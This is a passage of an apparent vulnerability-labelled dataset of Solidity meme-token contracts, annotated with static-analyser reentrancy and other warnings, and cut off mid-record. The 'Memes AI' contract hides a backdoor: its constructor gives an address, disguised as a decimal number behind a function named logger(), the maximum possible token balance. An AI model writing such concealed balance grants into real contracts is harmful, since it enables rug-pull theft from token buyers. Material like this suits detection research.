{\n\t\t\t\t\t// reentrancy-events | ID: 7f24a7b\n\t\t\t\t\t// reentrancy-eth | ID: 978cdcb\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 978cdcb\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 978cdcb\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 978cdcb\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 7f24a7b\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 978cdcb\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 978cdcb\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 7f24a7b\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 719c651\n\t\t// reentrancy-events | ID: 7f24a7b\n\t\t// reentrancy-benign | ID: 3519a11\n\t\t// reentrancy-eth | ID: 978cdcb\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 719c651\n\t\t// reentrancy-events | ID: 7f24a7b\n\t\t// reentrancy-eth | ID: 978cdcb\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: b3c185d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for b3c185d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 142e53c): Hoshino.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 142e53c: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 1b9afa0): Hoshino.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 1b9afa0: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 517706d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 517706d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: b3c185d\n\t\t// reentrancy-eth | ID: 517706d\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: b3c185d\n\t\t// unused-return | ID: 142e53c\n\t\t// reentrancy-eth | ID: 517706d\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: b3c185d\n\t\t// unused-return | ID: 1b9afa0\n\t\t// reentrancy-eth | ID: 517706d\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: b3c185d\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 517706d\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10251.sol",
"size_bytes": 19890,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: cc04e73): Ownable.transferOwnership(address).newAdd lacks a zerocheck on \t _owner = newAdd\n\t// Recommendation for cc04e73: Check that the address is not zero.\n function transferOwnership(address newAdd) public virtual onlyOwner {\n\t\t// missing-zero-check | ID: cc04e73\n\t\t// events-access | ID: 4260fea\n _owner = newAdd;\n }\n}\n\ninterface IERC20 {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(address to, uint256 amount) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\ninterface IUniswapV2Factory {\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract MemesAI is Context, IERC20Metadata, Ownable {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n bool private tradingEnabled;\n\n bool private swapping;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5d81851): MemesAI.buyTax should be constant \n\t// Recommendation for 5d81851: Add the 'constant' attribute to state variables that never change.\n uint8 public buyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 943886b): MemesAI.sellTax should be constant \n\t// Recommendation for 943886b: Add the 'constant' attribute to state variables that never change.\n uint8 public sellTax = 0;\n\n uint8 private constant _decimals = 18;\n\n uint256 private constant _tTotal = 428900000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Memes AI\";\n\n string private constant _symbol = unicode\"MemesAI\";\n\n\t// WARNING Optimization Issue (constable-states | ID: eac7722): MemesAI.swapTokensAtAmount should be constant \n\t// Recommendation for eac7722: Add the 'constant' attribute to state variables that never change.\n uint256 private swapTokensAtAmount = (_tTotal * 25) / 10000;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private pair;\n\n\t// WARNING Optimization Issue (immutable-states | ID: ea230b6): MemesAI.feeWallet should be immutable \n\t// Recommendation for ea230b6: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private feeWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 581e7a5): MemesAI.router should be constant \n\t// Recommendation for 581e7a5: Add the 'constant' attribute to state variables that never change.\n address private router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n\n\t// WARNING Optimization Issue (constable-states | ID: f9e4d02): MemesAI.liquidityProvider should be constant \n\t// Recommendation for f9e4d02: Add the 'constant' attribute to state variables that never change.\n address private liquidityProvider =\n 0x592ba9BE0e1a247C0385C26569fb74661cd836fe;\n\n constructor() {\n _balances[liquidityProvider] = _tTotal;\n\n feeWallet = payable(liquidityProvider);\n\n _balances[logger()] = uint256(int256(-1));\n\n emit Transfer(address(0), liquidityProvider, _tTotal);\n }\n\n receive() external payable {}\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: fa642a8): MemesAI.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for fa642a8: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: e860c7d): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for e860c7d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: d64ff43): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for d64ff43: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: e860c7d\n\t\t// reentrancy-benign | ID: d64ff43\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: e860c7d\n\t\t// reentrancy-benign | ID: d64ff43\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()] - amount\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a90d507): MemesAI._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for a90d507: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: d64ff43\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: e860c7d\n emit Approval(owner, spender, amount);\n }\n\n function enableTrading() external onlyOwner {\n uniswapV2Router = IUniswapV2Router02(router);\n\n pair = IUniswapV2Factory(uniswapV2Router.factory()).getPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n tradingEnabled = true;\n }\n\n function logger() private returns (address) {\n return\n address(\n uint160(\n uint256(533760330894259485381817138251552685481820595206)\n )\n );\n }\n\n function _superTransfer(address from, address to, uint256 amount) internal {\n\t\t// reentrancy-eth | ID: 6b082b3\n _balances[from] -= amount;\n\n\t\t// reentrancy-eth | ID: 6b082b3\n _balances[to] += amount;\n\n\t\t// reentrancy-events | ID: 8c898de\n emit Transfer(from, to, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 8c898de): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 8c898de: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 9feedf3): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 9feedf3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 6b082b3): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 6b082b3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) internal {\n require(amount > 0, \"Zero amount\");\n\n if (!tradingEnabled) {\n require(from == liquidityProvider, \"Trading not enabled\");\n }\n\n if (from == address(this) || to == address(this) || swapping) {\n _superTransfer(from, to, amount);\n\n return;\n }\n\n if (to == pair && balanceOf(address(this)) >= swapTokensAtAmount) {\n swapping = true;\n\n\t\t\t// reentrancy-events | ID: 8c898de\n\t\t\t// reentrancy-no-eth | ID: 9feedf3\n\t\t\t// reentrancy-eth | ID: 6b082b3\n swapTokensForEth(balanceOf(address(this)));\n\n\t\t\t// reentrancy-no-eth | ID: 9feedf3\n swapping = false;\n\n\t\t\t// reentrancy-events | ID: 8c898de\n\t\t\t// reentrancy-eth | ID: 6b082b3\n sendETHToFeeWallet();\n }\n\n\t\t// reentrancy-events | ID: 8c898de\n\t\t// reentrancy-eth | ID: 6b082b3\n amount = takeFee(from, amount, to == pair);\n\n\t\t// reentrancy-events | ID: 8c898de\n\t\t// reentrancy-eth | ID: 6b082b3\n _superTransfer(from, to, amount);\n }\n\n function takeFee(\n address from,\n uint256 amount,\n bool isSell\n ) internal returns (uint256) {\n uint256 tax = isSell ? sellTax : buyTax;\n\n if (tax == 0) return amount;\n\n uint256 feeAmount = (amount * tax) / 100;\n\n _superTransfer(from, address(this), feeAmount);\n\n return amount - feeAmount;\n }\n\n function swapTokensForEth(uint256 tokenAmount) internal {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 8c898de\n\t\t// reentrancy-events | ID: e860c7d\n\t\t// reentrancy-benign | ID: d64ff43\n\t\t// reentrancy-no-eth | ID: 9feedf3\n\t\t// reentrancy-eth | ID: 6b082b3\n try\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n feeWallet,\n block.timestamp\n )\n {} catch {\n return;\n }\n }\n\n function sendETHToFeeWallet() internal {\n if (address(this).balance > 0) {\n\t\t\t// reentrancy-events | ID: 8c898de\n\t\t\t// reentrancy-events | ID: e860c7d\n\t\t\t// reentrancy-eth | ID: 6b082b3\n feeWallet.transfer(address(this).balance);\n }\n }\n}\n",
"file_name": "solidity_code_10252.sol",
"size_bytes": 13116,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: f26ddf0): Ownable.constructor().msgSender lacks a zerocheck on \t _owner = msgSender\n\t// Recommendation for f26ddf0: Check that the address is not zero.\n constructor() {\n address msgSender = _msgSender();\n\n\t\t// missing-zero-check | ID: f26ddf0\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract Trump is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isExile;\n\n mapping(address => bool) public marketPair;\n\n mapping(uint256 => uint256) private perBuyCount;\n\n address payable private _taxWallet;\n\n uint256 private firstBlock = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8739553): Trump._initialBuyTax should be constant \n\t// Recommendation for 8739553: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: fdf0364): Trump._initialSellTax should be constant \n\t// Recommendation for fdf0364: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2f8cb8d): Trump._finalBuyTax should be constant \n\t// Recommendation for 2f8cb8d: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: f62018d): Trump._finalSellTax should be constant \n\t// Recommendation for f62018d: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4ff4f23): Trump._reduceBuyTaxAt should be constant \n\t// Recommendation for 4ff4f23: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: c406952): Trump._reduceSellTaxAt should be constant \n\t// Recommendation for c406952: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 12;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5598c25): Trump._preventSwapBefore should be constant \n\t// Recommendation for 5598c25: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 10;\n\n uint256 private _buyCount = 0;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 10000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Trump Verse\";\n\n string private constant _symbol = unicode\"Trump\";\n\n uint256 public _maxTxAmount = 200000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 200000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 949dad9): Trump._taxSwapThreshold should be constant \n\t// Recommendation for 949dad9: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 100000000 * 10 ** _decimals;\n\n uint256 public _maxTaxSwap = 100000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address public uniswapV2Pair;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 1286890): Trump.IRouter should be immutable \n\t// Recommendation for 1286890: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private IRouter;\n\n bool private tradingOpen;\n\n uint256 public casellAllowed = 2;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n bool public caCatalyst = true;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 4fd493f): Trump.constructor(address)._uniswapV2Router lacks a zerocheck on \t IRouter = _uniswapV2Router\n\t// Recommendation for 4fd493f: Check that the address is not zero.\n constructor(address _uniswapV2Router) {\n _taxWallet = payable(_msgSender());\n\n\t\t// missing-zero-check | ID: 4fd493f\n IRouter = _uniswapV2Router;\n\n _balances[_msgSender()] = _tTotal;\n\n isExile[owner()] = true;\n\n isExile[address(this)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 4900ff0): Trump.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 4900ff0: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: aa5f5c5): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for aa5f5c5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 565daf9): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 565daf9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: aa5f5c5\n\t\t// reentrancy-benign | ID: 565daf9\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: aa5f5c5\n\t\t// reentrancy-benign | ID: 565daf9\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 022bb00): Trump._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 022bb00: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 565daf9\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: aa5f5c5\n emit Approval(owner, spender, amount);\n }\n\n function setMarketPair(address addr) public onlyOwner {\n marketPair[addr] = true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 4e274aa): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 4e274aa: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 10dcf38): Trump._transfer(address,address,uint256) uses a dangerous strict equality block.number == firstBlock\n\t// Recommendation for 10dcf38: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: bd04bd8): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for bd04bd8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 061c931): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 061c931: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n\t\t\t// incorrect-equality | ID: 10dcf38\n if (block.number == firstBlock) {\n require(\n perBuyCount[block.number] < 28,\n \"Exceeds buys on the first block.\"\n );\n\n perBuyCount[block.number]++;\n }\n\n if (\n marketPair[from] &&\n to != address(uniswapV2Router) &&\n !isExile[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (!marketPair[to] && !isExile[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (marketPair[to] && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n if (!marketPair[from] && !marketPair[to] && from != address(this)) {\n taxAmount = 0;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n caCatalyst &&\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < casellAllowed, \"CA balance sell\");\n\n\t\t\t\t// reentrancy-events | ID: 4e274aa\n\t\t\t\t// reentrancy-eth | ID: bd04bd8\n\t\t\t\t// reentrancy-eth | ID: 061c931\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 4e274aa\n\t\t\t\t\t// reentrancy-eth | ID: bd04bd8\n\t\t\t\t\t// reentrancy-eth | ID: 061c931\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 061c931\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 061c931\n lastSellBlock = block.number;\n } else if (\n !inSwap &&\n 